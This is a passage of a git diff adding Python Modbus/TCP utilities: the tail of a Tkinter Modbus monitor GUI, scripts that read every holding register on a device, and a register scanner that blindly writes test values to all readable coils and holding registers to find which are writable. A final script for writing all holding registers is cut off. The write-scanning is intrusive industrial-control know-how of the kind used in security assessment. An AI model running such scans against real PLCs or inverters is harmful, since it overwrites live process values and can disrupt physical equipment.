Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + 